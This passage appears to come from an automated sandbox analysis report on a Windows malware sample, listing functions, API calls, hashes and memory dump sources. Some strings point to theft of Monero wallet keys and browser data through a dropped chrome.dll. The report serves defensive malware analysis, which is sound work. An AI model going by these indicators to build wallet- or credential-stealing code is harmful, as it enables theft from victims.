                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: lstrcpynlstrlenwsprintf
                                      • String ID: %s%s
                                      • API String ID: 1206339513-3252725368
                                      • Opcode ID: 24abfbefae7df90dc33da50aea6acf63e83aa8a0a28d60bb6aba05287c6963d6
                                      • Instruction ID: f46ffb9c6bbc8c772fff1a17ef0775cad326d929630b5e4b557649c58216eaf0
                                      • Opcode Fuzzy Hash: 24abfbefae7df90dc33da50aea6acf63e83aa8a0a28d60bb6aba05287c6963d6
                                      • Instruction Fuzzy Hash: 4F01CC75544108FFDB04DFA8D944EAE7BB9FB48304F148248F9199B245D631EA54DF90
                                      Function 005F12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetProcessHeap.KERNEL32(00000000,00000104), ref: 005F12B4
                                      • RtlAllocateHeap.NTDLL(00000000), ref: 005F12BB
                                      • RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 005F12D7
                                      • RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 005F12F5
                                      • RegCloseKey.ADVAPI32(?), ref: 005F12FF
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Heap$AllocateCloseOpenProcessQueryValue
                                      • String ID:
                                      • API String ID: 3225020163-0
                                      • Opcode ID: 2373e750d7d535e0ff5de07f1147cf6b8ae73a153f83c584ec8c79ae43f91500
                                      • Instruction ID: 02d02f07230af6e60ca86fdd5d028f8032c39bb1ed5b68776b916ed98f0575da
                                      • Opcode Fuzzy Hash: 2373e750d7d535e0ff5de07f1147cf6b8ae73a153f83c584ec8c79ae43f91500
                                      • Instruction Fuzzy Hash: 2F01CDB9A44209BFDB04DFD4DC49FAE777CBB48701F108195FA1597280D6749A008F90
                                      Function 0060CB7E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE
                                      Download Yara Rule
                                      APIs
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: String___crt$Type
                                      • String ID:
                                      • API String ID: 2109742289-3916222277
                                      • Opcode ID: 3bb85b5bf91467850977f9e064204344e256193311104bac4111c0a2d9539c79
                                      • Instruction ID: 29a38efe4e310140e46689c5b502488216d7505b8c6417d4c68d7dc13291dd60
                                      • Opcode Fuzzy Hash: 3bb85b5bf91467850977f9e064204344e256193311104bac4111c0a2d9539c79
                                      • Instruction Fuzzy Hash: 1F4125B014078C5EEB298B24CC85FFB7BEA9B41318F1445ECE98A961C2E2719A45CF60
                                      Function 006068D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON
                                      Download Yara Rule
                                      APIs
                                      • GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00606903
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                        • Part of subcall function 0060ACC0: lstrlen.KERNEL32(?,00F489C8,?,\Monero\wallet.keys,00610E1A), ref: 0060ACD5
                                        • Part of subcall function 0060ACC0: lstrcpy.KERNEL32(00000000), ref: 0060AD14
                                        • Part of subcall function 0060ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AD22
                                        • Part of subcall function 0060ABB0: lstrcpy.KERNEL32(?,00610E1A), ref: 0060AC15
                                      • ShellExecuteEx.SHELL32(0000003C), ref: 006069C6
                                      • ExitProcess.KERNEL32 ref: 006069F5
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
                                      • String ID: <
                                      • API String ID: 1148417306-4251816714
                                      • Opcode ID: 95085675555d584567132a6300fce2c9dfb6ac0bd0073d145a8cd8643b1ac98e
                                      • Instruction ID: 2d974f995214011c4a67f4ad807cd32f035dc4a1b01e84ce4a21edabe1286b3e
                                      • Opcode Fuzzy Hash: 95085675555d584567132a6300fce2c9dfb6ac0bd0073d145a8cd8643b1ac98e
                                      • Instruction Fuzzy Hash: A03118B1941218ABDB58EBA0DC92FDEB779AF08300F40419DF205671D1EF746A88CF69
                                      Function 00608950 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00610E10,00000000,?), ref: 006089BF
                                      • RtlAllocateHeap.NTDLL(00000000), ref: 006089C6
                                      • wsprintfA.USER32 ref: 006089E0
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Heap$AllocateProcesslstrcpywsprintf
                                      • String ID: %dx%d
                                      • API String ID: 1695172769-2206825331
                                      • Opcode ID: f06f9f176d36b4462871325ac383dec187a5a58af4ffd5ae8f538b6bb558bfbd
                                      • Instruction ID: 66abc76264ad90a0407fe7e0f4dd58204e8341d29ebe6f4c8f6978eea3df0849
                                      • Opcode Fuzzy Hash: f06f9f176d36b4462871325ac383dec187a5a58af4ffd5ae8f538b6bb558bfbd
                                      • Instruction Fuzzy Hash: 5C213DB1A44204AFDB04DFE8DD45FAEBBB8FB48711F104119FA16A72C0C775A9008FA0
                                      Function 005FA090 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 34libraryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll), ref: 005FA098
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: LibraryLoad
                                      • String ID: C:\ProgramData\chrome.dll$connect_to_websocket$free_result
                                      • API String ID: 1029625771-1545816527
                                      • Opcode ID: 30da37417b38a57d883bbe8a631db46751d2ae9ecc5a59b7f88a90b8a9e0e689
                                      • Instruction ID: c3f8236c19d19c7a25706e66f9a67456820eed72ccb1fccf8656340233df0543
                                      • Opcode Fuzzy Hash: 30da37417b38a57d883bbe8a631db46751d2ae9ecc5a59b7f88a90b8a9e0e689
                                      • Instruction Fuzzy Hash: 5AF05EB064D608AFD701AB61EC48F663AB5F306715F004815F219972A0D7B9A9C5CF67
                                      Function 00608EE0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetProcessHeap.KERNEL32(00000000,000000FA,?,?,006096AE,00000000), ref: 00608EEB
                                      • RtlAllocateHeap.NTDLL(00000000), ref: 00608EF2
                                      • wsprintfW.USER32 ref: 00608F08
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Heap$AllocateProcesswsprintf
                                      • String ID: %hs
                                      • API String ID: 769748085-2783943728
                                      • Opcode ID: 2a8bbc0abc763e947c1952b94054b359d6166caf8e7b7cf6eb1928fce01dcae4
                                      • Instruction ID: ca9a9153172bdae7f1bba09bd57a28c06a865b50c8e7a8ea47a467ae6e127385
                                      • Opcode Fuzzy Hash: 2a8bbc0abc763e947c1952b94054b359d6166caf8e7b7cf6eb1928fce01dcae4
                                      • Instruction Fuzzy Hash: 26E0EC75A48309BBEB10DB98DD0AE6D77B8FB05702F004195FD0A97340DA719E509F91
                                      Function 005FA990 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                        • Part of subcall function 0060ACC0: lstrlen.KERNEL32(?,00F489C8,?,\Monero\wallet.keys,00610E1A), ref: 0060ACD5
                                        • Part of subcall function 0060ACC0: lstrcpy.KERNEL32(00000000), ref: 0060AD14
                                        • Part of subcall function 0060ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AD22
                                        • Part of subcall function 0060ABB0: lstrcpy.KERNEL32(?,00610E1A), ref: 0060AC15
                                        • Part of subcall function 00608CF0: GetSystemTime.KERNEL32(00610E1B,00F4EF50,006105B6,?,?,005F13F9,?,0000001A,00610E1B,00000000,?,00F489C8,?,\Monero\wallet.keys,00610E1A), ref: 00608D16
                                        • Part of subcall function 0060AC30: lstrcpy.KERNEL32(00000000,?), ref: 0060AC82
                                        • Part of subcall function 0060AC30: lstrcat.KERNEL32(00000000), ref: 0060AC92
                                      • CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005FAA11
                                      • lstrlen.KERNEL32(00000000,00000000), ref: 005FAB2F
                                      • lstrlen.KERNEL32(00000000), ref: 005FADEC
                                        • Part of subcall function 0060AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0060AAF6
                                      • DeleteFileA.KERNEL32(00000000), ref: 005FAE73
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
                                      • String ID:
                                      • API String ID: 211194620-0
                                      • Opcode ID: 5a3666f6c21ababc50e812fb860397c67cceb4ad6980058b9817dbd7dec0b0a8
                                      • Instruction ID: 26c42ed7a4e335852ca52dc6bcde9f2095b0c9381dfebe4cc296f09d29d27369
                                      • Opcode Fuzzy Hash: 5a3666f6c21ababc50e812fb860397c67cceb4ad6980058b9817dbd7dec0b0a8
                                      • Instruction Fuzzy Hash: A3E1CC729502189BCB48FBE4DDA2EEF733AAF54340F50855DF116620D1EF706A48CB6A
                                      Function 005FD500 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                        • Part of subcall function 0060ACC0: lstrlen.KERNEL32(?,00F489C8,?,\Monero\wallet.keys,00610E1A), ref: 0060ACD5
                                        • Part of subcall function 0060ACC0: lstrcpy.KERNEL32(00000000), ref: 0060AD14
                                        • Part of subcall function 0060ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AD22
                                        • Part of subcall function 0060ABB0: lstrcpy.KERNEL32(?,00610E1A), ref: 0060AC15
                                        • Part of subcall function 00608CF0: GetSystemTime.KERNEL32(00610E1B,00F4EF50,006105B6,?,?,005F13F9,?,0000001A,00610E1B,00000000,?,00F489C8,?,\Monero\wallet.keys,00610E1A), ref: 00608D16
                                        • Part of subcall function 0060AC30: lstrcpy.KERNEL32(00000000,?), ref: 0060AC82
                                        • Part of subcall function 0060AC30: lstrcat.KERNEL32(00000000), ref: 0060AC92
                                      • CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005FD581
                                      • lstrlen.KERNEL32(00000000), ref: 005FD798
                                      • lstrlen.KERNEL32(00000000), ref: 005FD7AC
                                      • DeleteFileA.KERNEL32(00000000), ref: 005FD82B
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
                                      • String ID:
                                      • API String ID: 211194620-0
                                      • Opcode ID: e9610674b5ab905f36877b20e5f047f1ca30f26bc0eea3d953c530604cac270f
                                      • Instruction ID: 9fff848792523c70421611d85ae2eeedba9f55eba7ed757164b8f2242f5599fb
                                      • Opcode Fuzzy Hash: e9610674b5ab905f36877b20e5f047f1ca30f26bc0eea3d953c530604cac270f
                                      • Instruction Fuzzy Hash: EA91DB729502089BCB48FBE4DCA6EEF733AAF54340F50456DF116660D1EF706A48CB6A
                                      Function 005FD880 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                        • Part of subcall function 0060ACC0: lstrlen.KERNEL32(?,00F489C8,?,\Monero\wallet.keys,00610E1A), ref: 0060ACD5
                                        • Part of subcall function 0060ACC0: lstrcpy.KERNEL32(00000000), ref: 0060AD14
                                        • Part of subcall function 0060ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AD22
                                        • Part of subcall function 0060ABB0: lstrcpy.KERNEL32(?,00610E1A), ref: 0060AC15
                                        • Part of subcall function 00608CF0: GetSystemTime.KERNEL32(00610E1B,00F4EF50,006105B6,?,?,005F13F9,?,0000001A,00610E1B,00000000,?,00F489C8,?,\Monero\wallet.keys,00610E1A), ref: 00608D16
                                        • Part of subcall function 0060AC30: lstrcpy.KERNEL32(00000000,?), ref: 0060AC82
                                        • Part of subcall function 0060AC30: lstrcat.KERNEL32(00000000), ref: 0060AC92
                                      • CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005FD901
                                      • lstrlen.KERNEL32(00000000), ref: 005FDA9F
                                      • lstrlen.KERNEL32(00000000), ref: 005FDAB3
                                      • DeleteFileA.KERNEL32(00000000), ref: 005FDB32
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
